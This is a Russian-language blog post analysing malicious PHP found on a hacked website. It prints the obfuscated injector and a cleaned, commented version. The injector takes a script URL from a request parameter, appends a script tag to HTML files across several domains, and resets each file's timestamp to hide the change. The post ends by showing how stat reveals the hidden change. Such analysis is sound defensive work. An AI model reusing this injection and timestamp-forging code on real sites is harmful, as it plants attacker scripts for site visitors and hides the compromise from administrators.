Скрытие кода, метод 7

Автор: | 26 февраля 2012

Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64:

$GLOBALS['_482181972_'] = Array(
    base64_decode( 'Z' .'mlsZ' .'V9' .'nZ' .'XRfY29u' .'dGV' .'udHM' .'=' ),
// file_get_contents
    base64_decode( 'c3Ry' .'c' .'G' .'9z' ), // strpos
    base64_decode( 'ZmlsZW10' .'a' .'W' .'1l' ), // filemtime
    base64_decode( 'Zm9wZW4=' ), // fopen
    base64_decode( 'Z' .'ndyaXRl' ), // fwrite
    base64_decode( '' .'ZmN' .'sb3Nl' ), // fclose
    base64_decode( 'dG91Y2g=' ) // touch
);

Различие было в том, что в каждой закодированной строке случайным образом было вставлено “’ .’”. Это исключает поиск в файлах по строке – функции, закодированной в base64.

Во втором блоке была функция, которая декодировала и отдавала элемент массива, в котором тоже были строки в base64 кодировке:

function _2060801314( $i ) {
    $a = Array(
        'c3Jj', // src
	    'ZG9tYWluMS5jb20=', // domain1.com
	    'ZG9tYWluMi5jb20=', // domain2.com
	    'ZG9tYWluMy5jb20=', // domain3.com
...
	    'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0i',
// <script type="text/javascript" src="
	    'Ij48L3NjcmlwdD4=', // "></script>
	    '',
	    'Lmh0bWw=', // .html
	    'YQ==' // a
    );
	return base64_decode( $a[$i] );
}

В одном файле был список доменов, а во втором – список путей к файлам.

Третий блок в файлах отличался массивами и проходом по ним. Код очень похож, поэтому приведу причесанный код из первого файла с комментариями:

<?php
$_0 = $_GET[_2060801314(0)];
// это $_GET['src']
// src передается в запросе к файлу и содержит код для вставки
// https://domain.tld/file.js
if (isset( $_0 )) {
    $_1 = array(
	    _2060801314(1)=> round( 0 + 1.25 + 1.25 + 1.25 + 1.25 ),
		_2060801314(2)=> round( 0 + 9 ),
		_2060801314(3)=> round( 0 + 3 + 3 + 3 ),
...
		_2060801314(12)=> round( 0 + 0.8 + 0.8 + 0.8 + 0.8 + 0.8 )
	);
	// в массиве ключ - имя домена, значение - к-во итераций. [1]
	// для записи кода в пронумерованные файлы
	// быстро декодировать массив можно взяв функцию и массив
	// и запустить print_r($_1);
	$_2 = _2060801314( 13 ) .$_0 ._2060801314( 14 );
	// сборка строки для вставки, здесь уже будет строка
	// <script type="text/javascript" src="https://domain.tld/file.js"></script>
	foreach ($_1 as $_3 => $_4) {
	    for ($_5 = round(0); $_5++ < $_4;) {
		// проход по файлам от 1 до максимального из массива $_1 (см. [1])
		    if ($_5 == round( 0 + 0.25 + 0.25 + 0.25 + 0.25 )) {
			    $_6 = _2060801314( 15 );
				// $_6 - номер файла
				// если $_5 = 1, $_6 - пустая строка,
				// т.к. файлы нумеруются с 2, 1-й без номера
			} else {
			    $_6 = $_5;
			}
			$_7 = "/path/to/{$_3}/scj/top/top" . $_6 . _2060801314( 16 );
			// $_3 - имя домена, формируется полный путь к файлу top$_6.html,
			$_8 = $GLOBALS['_482181972_'][0]( $_7 );
			// file = file_get_contents(filename)
			if (!$_8) continue;
			$_9 = $GLOBALS['_482181972_'][1]( $_8, $_2 );
			// strpos(file, script) - есть ли в файле скрипт
			if ($_9 != false) continue;
			// скрипт добавляется только если в файле его нет
			$_10 = $GLOBALS['_482181972_'][2]( $_7 );
			// savedtime = filemtime(filename)
			$_11 = $GLOBALS['_482181972_'][3]( $_7, _2060801314( 17 ) );
			// fileptr = fopen(filename, 'a')
			$GLOBALS['_482181972_'][4]( $_11, $_2 );
			// fwrite(fileptr, script)
			$GLOBALS['_482181972_'][5]( $_11 );
			// fclose(fileptr)
			$GLOBALS['_482181972_'][6]( $_7, $_10 );
			// touch(filename, savedtime)
		}
	}
	exit;
}
?>

Единственный “недостаток” touch в том, что [на FreeBSD] он не изменяет дату Change, можно посмотреть

stat -x filename

и узнать, когда касались файла. Или посмотреть третью дату в выводе

stat filename

Добавить комментарий